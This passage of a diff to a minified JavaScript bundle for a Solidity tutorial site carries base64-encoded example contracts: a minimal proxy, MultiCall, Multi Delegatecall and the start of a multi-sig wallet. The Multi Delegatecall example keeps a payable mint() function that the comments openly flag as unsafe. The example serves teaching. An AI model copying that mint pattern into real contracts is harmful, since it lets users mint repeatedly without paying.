ICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],FA=`

            If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

            +`,YA=({prev:s,next:a})=>r.jsx(A,{version:WA,title:BA,description:GA,html:fA,prev:s,next:a,codes:VA}),XA="0.8.24",vA="Minimal Proxy Contract",RA="Deploy contracts cheaply with minimal proxy contract",NA=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAyZDgwNjAwYTNkMzk4MWYzMzYzZDNkMzczZDNkM2QzNjNkNzNiZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIC8vIGNyZWF0aW9uIGNvZGUgLy8KICAgICAgICAvLyBjb3B5IHJ1bnRpbWUgY29kZSBpbnRvIG1lbW9yeSBhbmQgcmV0dXJuIGl0CiAgICAgICAgLy8gM2Q2MDJkODA2MDBhM2QzOTgxZjMKCiAgICAgICAgLy8gcnVudGltZSBjb2RlIC8vCiAgICAgICAgLy8gY29kZSB0byBkZWxlZ2F0ZWNhbGwgdG8gYWRkcmVzcwogICAgICAgIC8vIDM2M2QzZDM3M2QzZDNkMzYzZDczIGFkZHJlc3MgNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgcmVhZHMgdGhlIDMyIGJ5dGVzIG9mIG1lbW9yeSBzdGFydGluZyBhdCBwb2ludGVyIHN0b3JlZCBpbiAweDQwCgogICAgICAgICAgICBJbiBzb2xpZGl0eSwgdGhlIDB4NDAgc2xvdCBpbiBtZW1vcnkgaXMgc3BlY2lhbDogaXQgY29udGFpbnMgdGhlICJmcmVlIG1lbW9yeSBwb2ludGVyIgogICAgICAgICAgICB3aGljaCBwb2ludHMgdG8gdGhlIGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],HA=`

            If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2457,7 +2457,7 @@ How to swap tokens
         }
     }
 }
-
            `,KA=({prev:s,next:a})=>r.jsx(A,{version:RA,title:vA,description:NA,html:FA,prev:s,next:a,codes:HA}),MA="0.8.24",SA="Multi Call",xA="An example of contract to aggregate multiple calls.",JA=[{fileName:"MultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsIGJ5dGVzW10gY2FsbGRhdGEgZGF0YSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlc1tdIG1lbW9yeSkKICAgIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo="},{fileName:"TestMultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg=="}],zA=`

            An example of contract that aggregates multiple queries using a for loop and staticcall.

            +`,KA=({prev:s,next:a})=>r.jsx(A,{version:XA,title:vA,description:RA,html:HA,prev:s,next:a,codes:NA}),FA="0.8.24",MA="Multi Call",SA="An example of contract to aggregate multiple calls.",xA=[{fileName:"MultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsIGJ5dGVzW10gY2FsbGRhdGEgZGF0YSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlc1tdIG1lbW9yeSkKICAgIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo="},{fileName:"TestMultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg=="}],JA=`

            An example of contract that aggregates multiple queries using a for loop and staticcall.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2493,7 +2493,7 @@ How to swap tokens
         return abi.encodeWithSelector(this.test.selector, _i);
     }
 }
-
            `,DA=({prev:s,next:a})=>r.jsx(A,{version:MA,title:SA,description:xA,html:zA,prev:s,next:a,codes:JA}),EA="0.8.24",QA="Multi Delegatecall",TA="An example of contract to call multiple functions in a single transaction",UA=[{fileName:"MultiDelegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpRGVsZWdhdGVjYWxsIHsKICAgIGVycm9yIERlbGVnYXRlY2FsbEZhaWxlZCgpOwoKICAgIGZ1bmN0aW9uIG11bHRpRGVsZWdhdGVjYWxsKGJ5dGVzW10gbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkgcmVzdWx0cykKICAgIHsKICAgICAgICByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IGRhdGEubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gYWRkcmVzcyh0aGlzKS5kZWxlZ2F0ZWNhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIGlmICghb2spIHsKICAgICAgICAgICAgICAgIHJldmVydCBEZWxlZ2F0ZWNhbGxGYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXN1bHRzW2ldID0gcmVzOwogICAgICAgIH0KICAgIH0KfQoKLy8gV2h5IHVzZSBtdWx0aSBkZWxlZ2F0ZWNhbGw/IFdoeSBub3QgbXVsdGkgY2FsbD8KLy8gYWxpY2UgLT4gbXVsdGkgY2FsbCAtLS0gY2FsbCAtLS0+IHRlc3QgKG1zZy5zZW5kZXIgPSBtdWx0aSBjYWxsKQovLyBhbGljZSAtPiB0ZXN0IC0tLSBkZWxlZ2F0ZWNhbGwgLS0tPiB0ZXN0IChtc2cuc2VuZGVyID0gYWxpY2UpCmNvbnRyYWN0IFRlc3RNdWx0aURlbGVnYXRlY2FsbCBpcyBNdWx0aURlbGVnYXRlY2FsbCB7CiAgICBldmVudCBMb2coYWRkcmVzcyBjYWxsZXIsIHN0cmluZyBmdW5jLCB1aW50MjU2IGkpOwoKICAgIGZ1bmN0aW9uIGZ1bmMxKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCB7CiAgICAgICAgLy8gbXNnLnNlbmRlciA9IGFsaWNlCiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgImZ1bmMxIiwgeCArIHkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGZ1bmMyKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIG1zZy5zZW5kZXIgPSBhbGljZQogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJmdW5jMiIsIDIpOwogICAgICAgIHJldHVybiAxMTE7CiAgICB9CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgLy8gV0FSTklORzogdW5zYWZlIGNvZGUgd2hlbiB1c2VkIGluIGNvbWJpbmF0aW9uIHdpdGggbXVsdGktZGVsZWdhdGVjYWxsCiAgICAvLyB1c2VyIGNhbiBtaW50IG11bHRpcGxlIHRpbWVzIGZvciB0aGUgcHJpY2Ugb2YgbXNnLnZhbHVlCiAgICBmdW5jdGlvbiBtaW50KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdICs9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEZ1bmMxRGF0YSh1aW50MjU2IHgsIHVpbnQyNTYgeSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoVGVzdE11bHRpRGVsZWdhdGVjYWxsLmZ1bmMxLnNlbGVjdG9yLCB4LCB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRGdW5jMkRhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo="}],_A=`

            An example of calling multiple functions with a single transaction, using delegatecall.

            +`,zA=({prev:s,next:a})=>r.jsx(A,{version:FA,title:MA,description:SA,html:JA,prev:s,next:a,codes:xA}),DA="0.8.24",EA="Multi Delegatecall",QA="An example of contract to call multiple functions in a single transaction",TA=[{fileName:"MultiDelegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpRGVsZWdhdGVjYWxsIHsKICAgIGVycm9yIERlbGVnYXRlY2FsbEZhaWxlZCgpOwoKICAgIGZ1bmN0aW9uIG11bHRpRGVsZWdhdGVjYWxsKGJ5dGVzW10gbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkgcmVzdWx0cykKICAgIHsKICAgICAgICByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IGRhdGEubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gYWRkcmVzcyh0aGlzKS5kZWxlZ2F0ZWNhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIGlmICghb2spIHsKICAgICAgICAgICAgICAgIHJldmVydCBEZWxlZ2F0ZWNhbGxGYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXN1bHRzW2ldID0gcmVzOwogICAgICAgIH0KICAgIH0KfQoKLy8gV2h5IHVzZSBtdWx0aSBkZWxlZ2F0ZWNhbGw/IFdoeSBub3QgbXVsdGkgY2FsbD8KLy8gYWxpY2UgLT4gbXVsdGkgY2FsbCAtLS0gY2FsbCAtLS0+IHRlc3QgKG1zZy5zZW5kZXIgPSBtdWx0aSBjYWxsKQovLyBhbGljZSAtPiB0ZXN0IC0tLSBkZWxlZ2F0ZWNhbGwgLS0tPiB0ZXN0IChtc2cuc2VuZGVyID0gYWxpY2UpCmNvbnRyYWN0IFRlc3RNdWx0aURlbGVnYXRlY2FsbCBpcyBNdWx0aURlbGVnYXRlY2FsbCB7CiAgICBldmVudCBMb2coYWRkcmVzcyBjYWxsZXIsIHN0cmluZyBmdW5jLCB1aW50MjU2IGkpOwoKICAgIGZ1bmN0aW9uIGZ1bmMxKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCB7CiAgICAgICAgLy8gbXNnLnNlbmRlciA9IGFsaWNlCiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgImZ1bmMxIiwgeCArIHkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGZ1bmMyKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIG1zZy5zZW5kZXIgPSBhbGljZQogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJmdW5jMiIsIDIpOwogICAgICAgIHJldHVybiAxMTE7CiAgICB9CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgLy8gV0FSTklORzogdW5zYWZlIGNvZGUgd2hlbiB1c2VkIGluIGNvbWJpbmF0aW9uIHdpdGggbXVsdGktZGVsZWdhdGVjYWxsCiAgICAvLyB1c2VyIGNhbiBtaW50IG11bHRpcGxlIHRpbWVzIGZvciB0aGUgcHJpY2Ugb2YgbXNnLnZhbHVlCiAgICBmdW5jdGlvbiBtaW50KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdICs9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEZ1bmMxRGF0YSh1aW50MjU2IHgsIHVpbnQyNTYgeSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoVGVzdE11bHRpRGVsZWdhdGVjYWxsLmZ1bmMxLnNlbGVjdG9yLCB4LCB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRGdW5jMkRhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo="}],UA=`

            An example of calling multiple functions with a single transaction, using delegatecall.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2561,7 +2561,7 @@ How to swap tokens
         return abi.encodeWithSelector(TestMultiDelegatecall.mint.selector);
     }
 }
-
            `,LA=({prev:s,next:a})=>r.jsx(A,{version:EA,title:QA,description:TA,html:_A,prev:s,next:a,codes:UA}),OA="0.8.24",PA="Multi-Sig Wallet",$A="An example of multi-sig wallet in Solidity",qA=[{fileName:"MultiSigWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQsIHVpbnQyNTYgYmFsYW5jZSk7CiAgICBldmVudCBTdWJtaXRUcmFuc2FjdGlvbigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsCiAgICAgICAgdWludDI1NiBpbmRleGVkIHR4SW5kZXgsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIHRvLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgYnl0ZXMgZGF0YQogICAgKTsKICAgIGV2ZW50IENvbmZpcm1UcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IFJldm9rZUNvbmZpcm1hdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IEV4ZWN1dGVUcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKCiAgICBhZGRyZXNzW10gcHVibGljIG93bmVyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNPd25lcjsKICAgIHVpbnQyNTYgcHVibGljIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZDsKCiAgICBzdHJ1Y3QgVHJhbnNhY3Rpb24gewogICAgICAgIGFkZHJlc3MgdG87CiAgICAgICAgdWludDI1NiB2YWx1ZTsKICAgICAgICBieXRlcyBkYXRhOwogICAgICAgIGJvb2wgZXhlY3V0ZWQ7CiAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zOwogICAgfQoKICAgIC8vIG1hcHBpbmcgZnJvbSB0eCBpbmRleCA9PiBvd25lciA9PiBib29sCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpKSBwdWJsaWMgaXNDb25maXJtZWQ7CgogICAgVHJhbnNhY3Rpb25bXSBwdWJsaWMgdHJhbnNhY3Rpb25zOwoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKGlzT3duZXJbbXNnLnNlbmRlcl0sICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIHR4RXhpc3RzKHVpbnQyNTYgX3R4SW5kZXgpIHsKICAgICAgICByZXF1aXJlKF90eEluZGV4IDwgdHJhbnNhY3Rpb25zLmxlbmd0aCwgInR4IGRvZXMgbm90IGV4aXN0Iik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciBub3RFeGVjdXRlZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghdHJhbnNhY3Rpb25zW190eEluZGV4XS5leGVjdXRlZCwgInR4IGFscmVhZHkgZXhlY3V0ZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG5vdENvbmZpcm1lZCh1aW50MjU2IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggYWxyZWFkeSBjb25maXJtZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludDI1NiBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMAogICAgICAgICAgICAgICAgJiYgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiAgICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293b